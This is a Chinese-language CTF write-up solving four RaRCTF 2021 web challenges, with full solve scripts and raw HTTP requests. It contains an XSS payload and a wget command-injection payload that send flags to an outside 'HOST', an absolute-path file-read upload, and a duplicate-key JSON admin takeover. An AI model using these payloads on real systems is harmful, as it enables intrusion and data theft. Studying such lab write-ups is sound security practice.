RaRCTF 2021
Web
Fancy Button Generator
Check out this cool new fancy button generator! The buttons even glow!
将给出的附件源码下载,可以很明显看出这是一个 XSS 的题目,同时使用了一个工作量证明(Proof Of Work)的验证机制。
Proof of work: https://en.wikipedia.org/wiki/Proof_of_work
题目的附件中给出了其计算方法。
def generate():
return uuid.uuid4().hex[:4], uuid.uuid4().hex[:4]
def verify(prefix, suffix, answer, difficulty=6):
hash = hashlib.sha256(prefix.encode() + answer.encode() + suffix.encode()).hexdigest()
return hash.endswith("0" * difficulty)
def solve(prefix, suffix, difficulty):
while True:
test = binascii.hexlify(os.urandom(4)).decode()
if verify(prefix, suffix, test, difficulty):
return test
因此只需要先请求获得前缀和后缀,Solve 完成之后提交数据即可获得一次发送按钮的权力。再来看 admin 是如何操作按钮的,在给出的附件中有如下代码。
await page.evaluate(flag => {
localStorage.flag = flag;
}, process.env.FLAG);
let url = process.env.SITE + "button?title=" + req.title + "&link=" + req.link;
console.log("Going to ", url);
await page.goto(url, {
waitUntil: "networkidle2"
});
await page.click("#btn");
await page.waitForTimeout(TIMEOUT);
await page.close();
page = null;
很容易发现 admin 其实是直接点击了按钮,然后等了一下就关闭了页面。那么此时只需要对按钮进行 XSS 即可。使用 javascript:alert(1)
可以达成点击按钮后弹窗的效果。因此可以在 GET 参数 link 处进行 XSS 来尝试取出 localStorage.flag 然后发起一次对外的请求来获取 flag。构造出如下脚本来进行 XSS。
session = requests.session()
host = "https://fbg.rars.win/"
data = session.get(host + "pow").json()
solution = solve(data['pref'], data['suff'], 5)
print(f"Solved POW: {solution} with prefix {data['pref']} suffix {data['suff']}")
session.post(host + "pow", json={"answer": solution})
name = ""
link = "javascript:window.location.replace('http://HOST/?flagis-'%252BlocalStorage.getItem('flag'))"
response = session.get(host + f"admin?title={name}&link={link}")
print(response.text)
运行脚本即可在端口监听处得到如下请求数据,从而可以得到 flag。
GET /?flagis-rarctf{th0s3_f4ncy_butt0n5_w3r3_t00_cl1ck4bl3_f0r_u5_a4667cb69f} HTTP/1.1
Host: 8.136.8.210:3255
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/92.0.4515.107 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US
rarctf{th0s3_f4ncy_butt0n5_w3r3_t00_cl1ck4bl3_f0r_u5_a4667cb69f}
lemonthinker
generate your lemonthinks here!
Note: All characters that look like a
O
are actually a0
, please try replacing allO
's with0
's if you find that your flag does not work.
题目给出的源代码如下。
from flask import Flask, request, redirect, url_for
import os
import random
import string
import time # lemonthink
clean = time.time()
app = Flask(__name__)
chars = list(string.ascii_letters + string.digits)
@app.route('/')
def main():
return open("index.html").read()
@app.route('/generate', methods=['POST'])
def upload():
global clean
if time.time() - clean > 60:
os.system("rm static/images/*")
clean = time.time()
text = request.form.getlist('text')[0]
text = text.replace("\"", "")
filename = "".join(random.choices(chars,k=8)) + ".png"
os.system(f"python3 generate.py {filename} \"{text}\"")
return redirect(url_for('static', filename='images/' + filename), code=301)
if __name__ == "__main__":
app.run("0.0.0.0",1002)
此时可以看出有一个参数可控,只需要传入 text 即可进行 RCE。构造出如下载荷读取文件 /flag.txt 并使用 wget 带出,靶机似乎没有 curl。
$(cat /flag.txt | xargs -I{} wget "http://HOST/?flagis-{}")
载荷发送后在监听端可以得到如下请求数据,即得到 flag。
GET /?flagis-rarctf{b451c-c0mm4nd_1nj3ct10n_f0r-y0u_4nd_y0ur-l3m0nth1nk3rs_d8d21128bf} HTTP/1.1
Host: 8.136.8.210:3255
User-Agent: Wget
Connection: close
rarctf{b451c-c0mm4nd_1nj3ct10n_f0r-y0u_4nd_y0ur-l3m0nth1nk3rs_d8d21128bf}
Secure Uploader
A new secure, safe and smooth uploader!
题目所给出的上传和访问路由的代码如下。
@app.route('/upload', methods=['POST'])
def upload():
if 'file' not in request.files:
return redirect('/')
file = request.files['file']
if "." in file.filename:
return "Bad filename!", 403
conn = db()
cur = conn.cursor()
uid = uuid.uuid4().hex
try:
cur.execute("insert into files (id, path) values (?, ?)", (uid, file.filename,))
except sqlite3.IntegrityError:
return "Duplicate file"
conn.commit()
file.save('uploads/' + file.filename)
return redirect('/file/' + uid)
@app.route('/file/<id>')
def file(id):
conn = db()
cur = conn.cursor()
cur.execute("select path from files where id=?", (id,))
res = cur.fetchone()
if res is None:
return "File not found", 404
with open(os.path.join("uploads/", res[0]), "r") as f:
return f.read()
可以发现文件上传之后会生成一个 id,然后访问的时候只通过这个 id 进行文件读取。上传时文件名中不允许有 . 字符,而其他的字符通通没有处理,因此不能目录穿越读文件。再看访问的路由,使用了 os.path.join
来将文件名与路径拼接从而进行读取。在这个方法的文档中有如下一句话。
If a component is an absolute path, all previous components are thrown away and joining continues from the absolute path component.
假设此时的 res[0]
变成了绝对路径,也就是 /flag
,那么此前的所有路径就会被抛弃,进而读取到根目录下的 flag。因此构造出如下两个请求来获取 flag。
POST /upload HTTP/1.1
Host: 193.57.159.27:35294
Content-Length: 282
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary51X6ZmnbrL0hXAYM
Connection: close
------WebKitFormBoundary51X6ZmnbrL0hXAYM
Content-Disposition: form-data; name="file"; filename="/flag"
Content-Type: image/png
------WebKitFormBoundary51X6ZmnbrL0hXAYM
Content-Disposition: form-data; name="submit"
Upload File
------WebKitFormBoundary51X6ZmnbrL0hXAYM--
GET /file/d129a262e4724c549cda37a51755e1bf HTTP/1.1
Host: 193.57.159.27:35294
Connection: close
在使用第一个请求获得的链接请求访问文件后可获得 flag。
rarctf{4lw4y5_r34d_th3_d0c5_pr0p3rly!-71ed16}
Microservices As A Service 3
manager 中的 update 路由将 JSON 数据由 Python 传递到 Golang 的服务中处理。JSON 的解析 Golang 中使用的模块是 github.com/buger/jsonparser。稍微测一下可以发现当 JSON 键值重复的时候其将选择前者。
package main
import (
"fmt"
"github.com/buger/jsonparser"
)
func main() {
str := "{\"key\": \"value1\", \"key\": \"value2\"}"
bytes_str := []byte(str)
fmt.Println(jsonparser.GetString(bytes_str, "key"))
}
上面的代码的运行结果是 value1 \
import json
jObject = json.loads("{\"key\": \"value1\", \"key\": \"value2\"}")
print(jObject["key"])
上面的代码的运行结果是 value2。因此此时只需要让键值重复即可绕过限制修改 admin 即 id 为 0 的用户的密码。构造出如下的请求来修改 admin 的密码。
POST /manager/update HTTP/1.1
Host: maas.rars.win
Connection: close
Content-Length: 52
Content-Type: application/json
Cookie: session=eyJtYW5hZ2VyaWQiOiIxIiwibWFuYWdlcm5hbWUiOiJMZW1vblByZWZlY3QifQ.YRPO1A.PH8WHzCXnxjEwlMIUQvkfzxyuGc
{"id":0,"id":1,"password":"this_is_a_long_password"}
此时使用修改的密码再去登录 admin 账户即可得到 flag。
rarctf{rfc8259_15_4_b1t_v4gu3_1a97a3d3}